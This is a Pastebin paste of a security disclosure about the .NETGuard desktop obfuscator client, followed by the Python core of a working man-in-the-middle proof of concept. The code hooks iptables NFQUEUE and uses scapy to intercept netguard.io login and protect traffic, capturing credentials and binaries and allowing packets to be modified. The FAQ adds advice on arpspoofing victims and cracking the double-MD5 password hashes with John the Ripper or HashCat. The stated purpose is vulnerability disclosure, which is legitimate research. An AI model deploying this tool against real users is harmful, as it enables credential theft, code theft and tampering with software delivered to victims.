Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '''
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
- ^ Title: Performing a MITM attack on the .NETGuard desktop application ^
- ^ Authors: Washi, 766F6964 (https://rtn-team.cc/) ^
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
- Video: https://www.youtube.com/watch?v=J6Qn9k7NMfg
- https://forum.tuts4you.com/topic/40845-performing-a-mitm-attack-on-the-netguard-desktop-application/
- _______________
- | Abstract: |
- |_____________|
- Code obfuscation is a method of preventing third parties from reverse engineering the inner workings of software. One cloud-based service that provides this kind of protection for .NET applications is .NETGuard. .NETGuard distributes a desktop application that interacts with .NETGuard’s API. In this paper, we show that the protocol used by the desktop application has several security flaws. The most serious flaws include the possibility of leaking account credentials and/or the original binary being restored from the generated network traffic. Additionally, the protocol performs no verification on the network traffic, which allows a Man In the Middle (MITM) attack to modify packets and send malicious content back to the client.
- _______________
- | Disclaimer: |
- |_____________|
- The intent of this article is not to determine or conclude whether .NETGuard is a good or a bad obfuscator, nor as a means of attacking the developer personally. Rather, the content of this paper focuses on critical security issues found within the .NETGuard desktop client, and the communication between the desktop client and the .NETGuard servers. The main purpose of this paper is to raise awareness about the security concerns identified and inform .NETGuard's users that their data may be at risk.
- We have communicated these security issues to the .NETGuard team, but they have fallen on deaf ears. Other than changing the plain-text passwords to a double MD5 hash, no further action was taken. A month in, the vulnerabilities are still un-patched, so we took it upon ourselves to communicate our findings to the community. Now it is for the public to decide whether or not to continue using this software.
- ################################################################################################################################################################################################################
- ----------------------
- - .NETGuard MITM PoC -
- ----------------------
- This repository contains a proof of concept (PoC) of a man-in-the-middle (MITM) attack that exposes a vulnerability in the versions 2.9.1.0 and 2.9.5.0 of the .NETGuard desktop application, which were released on the 17th and on the 20th of August 2018 respectively on https://netguard.io/.
- .NETGuard is a commercial .NET code obfuscator originally based on the open source ConfuserEx obfuscator developed by yck1509. It specializes in making .NET applications unreadable to third parties. This PoC allows for sniffing account credentials of the user, as well as obtaining the original unobfuscated file from the network, and modifying the obfuscated files provided by the server, all unbeknownst to the user and without having to run anything on the client's machine.
- ################################################################################################################################################################################################################
- -----------------
- - Prerequisites -
- -----------------
- Make sure you have a set-up with at least the following installed:
- A machine running a Linux distribution containing the iptables application and the libnetfilterqueue library (Preferably the developer version).
- Python 3 with the libraries netfilterqueue and scapy. These can both be installed through the pip package manager.
- A virtual machine software running a version of Windows that is supported by .NETGuard.
- ################################################################################################################################################################################################################
- --------------
- - How to run -
- --------------
- Simply run the following command in your terminal on the Linux machine as root:
- python3 main.py
- Typically this would autodetect the settings for you. However, if you need for whatever reason to specify the settings, you can provide some command line arguments:
- python3 main.py --ip=192.168.0.1 --queue_num=123 --original-file-name=input.exe --obfuscated-file-name=output.exe
- While interacting with the .NETGuard application in the VM (the client), the script will print out status messages upon events such as login and protect requests, and will output binaries in the current folder whenever a file transfer has been made.
- To exit the application, use the Ctrl+C keys.
- ################################################################################################################################################################################################################
- ---------------------
- - How does it work? -
- ---------------------
- The file netguardmitm.py is the backbone of the MITM attack, and uses the iptables application to add two rules (one INPUT and one OUTPUT) to the Linux kernel firewall tables. This allows the script to sniff and modify the TCP traffic going through the machine using the python bindings of the netfilterqueue library. With the help of scapy, we then deserialize the raw packets to an object representation for easier analysis and modification of packets originating from the .NETGuard application and server. From this we can simply observe the HTTP protocol doing its job. Any changes that are made to the sniffed packets will be serialized again to a raw binary stream by the means scapy, which can then be used again by netfilterqueue to update the payload of the incoming/outgoing packet. Finally, the main.py script uses the just described functionality to record (and modify) all login and protect requests and response.
- ################################################################################################################################################################################################################
- -------------------
- - Demonstration -
- -------------------
- FAQ
- Q: I am a .NETGuard user, are my credentials and/or code leaked?
- A: If you are using the desktop client (not the browser), chances are someone might have sniffed your details and/or code, especially if you have been using (public) WiFi. To be safe, make sure your password is not shared with any other online service or you might risk becoming a victim of identity theft. Unfortunately, there is little we can do about the theft of your code.
- Q: Can I use this script to capture and modify traffic from anyone using .NETGuard?
- A: This script is a PoC only, and only works if you are able to reroute the traffic through your own machine. However, this can be achieved using various methods such as arpspoofing or configuring your router properly.
- Q: How do I obtain the password after sniffing the hash code?
- A: There are many publicly available tools to crack the hash within reasonable time. These tools include John the Rippper and HashCat. Make sure that it is configured to crack a double MD5 hashcode (i.e. hash = MD5(MD5(password))).
- Q: Can I capture any (un)obfuscated file being transferred from and to the .NETGuard server with this script?
- A: Yes, the script is generic enough to be able to capture any binary file being sent or received, so long the traffic goes through the machine running the script.
- Q: Can I modify any (un)obfuscated file being transferred from and to the .NETGuard server with this script?
- A: Currently, the framework allows it. However, the main.py script is set up to only modify the sample application provided in the repository. A few modifications are therefore required to make it work for other binaries.
- Q: After I ran the script I don't have internet anymore. What do I do?
- A: The script adds additional firewall rules of your system. Normally the script removes them upon shutdown, but if the script was somehow interrupted before this happened, you might need to manually remove them. You can check for the additional rules by running the following command as root:
- iptables -L
- To remove the entries, you can use the -D flag instead. E.g. to remove the first rule of the INPUT chain and the first of the OUTPUT chain, use:
- iptables -D INPUT 1
- iptables -D OUTPUT 1
- After that, the connection to the internet should be restored.
- ################################################################################################################################################################################################################
- '''
- from netfilterqueue import NetfilterQueue
- import socket
- from os import system
- import scapy.all as scapy
- import scapy_http.http
- from urllib.parse import urlparse, parse_qs
- REQUEST_LOGIN = 0
- REQUEST_PROTECT = 1
- class NetGuardMITM:
- def __init__(self, ip, queue_number=1):
- self.ip = ip
- self.queue_number = queue_number
- self.log_callback = None
- self.netguard_server_ip = None
- self.login_request_callback = None
- self.protect_request_callback = None
- self.login_response_callback = None
- self.protect_response_callback = None
- self.file_upload_packet_callback = None
- self.file_download_packet_callback = None
- self.file_transfer_in_progress = False
- self.file_transfer_bytes_remaining = 0
- self.__last_request = None
- def log(self, message):
- if self.log_callback:
- self.log_callback(message)
- def packet_callback(self, raw_packet):
- """
- Main call back of sent and received packets.
- :param raw_packet: The packet that is being sent/received.
- """
- packet = scapy.IP(raw_packet.get_payload())
- accept = True
- if packet.haslayer("HTTP"):
- tcp_layer = packet.getlayer("TCP")
- http_layer = packet.getlayer("HTTP")
- if packet.haslayer("Raw") and self.file_transfer_in_progress:
- if packet.dst == self.netguard_server_ip:
- accept = self.handle_file_upload_packet(raw_packet, packet)
- elif packet.src == self.netguard_server_ip:
- accept = self.handle_file_download_packet(raw_packet, packet)
- else:
- accept = True
- if "HTTP Request" in http_layer:
- accept = self.handle_request(raw_packet, packet)
- elif "HTTP Response" in http_layer:
- accept = self.handle_response(raw_packet, packet)
- if accept:
- raw_packet.accept()
- else:
- raw_packet.drop()
- def handle_request(self, raw_packet, packet):
- """
- Handles HTTP requests sent towards netguard.io. All other requests are ignored and therefore accepted.
- :param raw_packet: The raw packet as obtained by NetfilterQueue
- :param packet: The scapy representation of the HTTP packet.
- :return True if the packet should be accepted, False otherwise.
- """
- accept = True
- http_layer = packet.getlayer("HTTP")
- request = http_layer["HTTP Request"]
- if request.Host != b"netguard.io":
- return accept
- # Record the (current) netguard.io IP.
- self.netguard_server_ip = packet.dst
- # Parse URL.
- o = urlparse(request.Path)
- arguments = parse_qs(o.query)
- # Check which API call is being made and invoke corresponding callback.
- if request.Method == b"GET":
- if o.path == b"/API/login.php" and self.login_request_callback:
- self.__last_request = REQUEST_LOGIN
- accept = self.login_request_callback(raw_packet, packet, arguments[b"username"], arguments[b"password"])
- elif request.Method == b"POST":
- if o.path == b"/API/protect.php":
- if self.protect_request_callback:
- accept = self.protect_request_callback(raw_packet, packet, arguments[b"username"], arguments[b"password"])
- self.__last_request = REQUEST_PROTECT
- self.file_transfer_in_progress = True
- self.file_transfer_bytes_remaining = int(request.fields["Content-Length"])
- return accept
- def handle_response(self, raw_packet, packet):
- """
- Handles a single HTTP response from netguard.io. All other responses are ignored and therefore accepted.
- :param raw_packet: The raw packet as obtained by NetfilterQueue.
- :param packet: The scapy representation of the HTTP packet.
- :return: True if the packet should be accepted, False otherwise.
- """
- accept = True
- if packet.src != self.netguard_server_ip:
- return accept
- http_layer = packet.getlayer("HTTP")
- response = http_layer["HTTP Response"]
- body = packet.getlayer("Raw")
- # NOTE: We assume that the response comes directly after the request.
- # This might not be accurate, as packets can be reordered during the transmission.
- # For more reliable results, check sequence numbers of packets.
- # Check what kind of response we're dealing with.
- if self.__last_request == REQUEST_LOGIN and self.login_response_callback:
- accept = self.login_response_callback(raw_packet, packet, body)
- self.__last_request = None
- elif self.__last_request == REQUEST_PROTECT:
- if self.protect_response_callback:
- accept = self.protect_response_callback(raw_packet, packet, body)
- if "Content-Length" in response.fields:
- self.file_transfer_in_progress = True
- self.file_transfer_bytes_remaining = int(response.fields["Content-Length"])
- self.handle_file_download_packet(raw_packet, packet)
- self.__last_request = None
- return accept
- def handle_file_upload_packet(self, raw_packet, packet):
- """
- Handles a single HTTP packet containing (a chunk of) the file to be uploaded to netguard.io.
- :param raw_packet: The raw packet as obtained by NetfilterQueue.
- :param packet: The scapy representation of the HTTP packet.
- :return: True if the packet should be accepted, False otherwise.
- """
- accept = True
- raw_layer = packet.getlayer("Raw")
- self.file_transfer_bytes_remaining -= len(raw_layer.load)
- if self.file_upload_packet_callback:
- accept = self.file_upload_packet_callback(raw_packet, packet, raw_layer.load, self.file_transfer_bytes_remaining)
- self.file_transfer_in_progress = self.file_transfer_bytes_remaining > 0
- return accept
- def handle_file_download_packet(self, raw_packet, packet):
- """
- Handles a single HTTP packet containing (a chunk of) the protected file that is being downloaded from
- the netguard.io server.
- :param raw_packet: The raw packet as obtained by NetfilterQueue.
- :param packet: THe scapy representation of the HTTP packet.
- :return: True if the packet should be accepted, False otherwise.
- """
- accept = True
- raw_layer = packet.getlayer("Raw")
- self.file_transfer_bytes_remaining -= len(raw_layer.load)
- if self.file_download_packet_callback:
- accept = self.file_download_packet_callback(raw_packet, packet, raw_layer.load, self.file_transfer_bytes_remaining)
- self.file_transfer_in_progress = self.file_transfer_bytes_remaining > 0
- return accept
- def do_mitm(self):
- """
- Performs the man-in-the-middle attack. This function is blocking.
- """
- try:
- # Add necessary IP table entries.
- self.log("Updating IP tables...")
- system("iptables -A INPUT -d {} -p tcp -j NFQUEUE --queue-num {}".format(self.ip, self.queue_number))
- system("iptables -A OUTPUT -s {} -p tcp -j NFQUEUE --queue-num {}".format(self.ip, self.queue_number))
- # Bind to filter queue.
- nfqueue = NetfilterQueue()
- nfqueue.bind(self.queue_number, self.packet_callback)
- s = socket.fromfd(nfqueue.get_fd(), socket.AF_UNIX, socket.SOCK_STREAM)
- try:
- self.log("Running MITM...")
- nfqueue.run_socket(s)
- except KeyboardInterrupt:
- pass
- self.log("Closing sockets...")
- s.close()
- nfqueue.unbind()
- finally:
- # Remove IP table entries.
- self.log("Restoring IP tables.")
- system("iptables -D INPUT 1")
- system("iptables -D OUTPUT 1")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement